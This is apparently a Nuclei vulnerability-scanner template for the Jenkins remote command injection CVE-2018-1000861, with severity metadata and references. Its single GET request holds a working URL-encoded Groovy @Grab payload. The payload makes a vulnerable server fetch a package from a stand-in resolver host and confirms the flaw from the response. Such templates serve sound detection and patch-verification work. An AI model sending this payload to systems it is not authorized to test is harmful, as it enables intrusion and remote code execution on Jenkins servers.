id: CVE-2018-1000861

info:
  name: Jenkins - Remote Command Injection
  author: dhiyaneshDK,pikpikcu
  severity: critical
  description: Jenkins 2.153 and earlier and LTS 2.138.3 and earlier are susceptible to a remote command injection via stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1000861
    - https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595
    - http://web.archive.org/web/20210421212616/https://www.securityfocus.com/bid/106176
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-1000861
    cwe-id: CWE-502
  tags: cve,cve2018,jenkin,rce,jenkins,cisa

requests:
  - method: GET
    path:
      - '{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;'

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "package#vulntest"
        part: body

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/05/12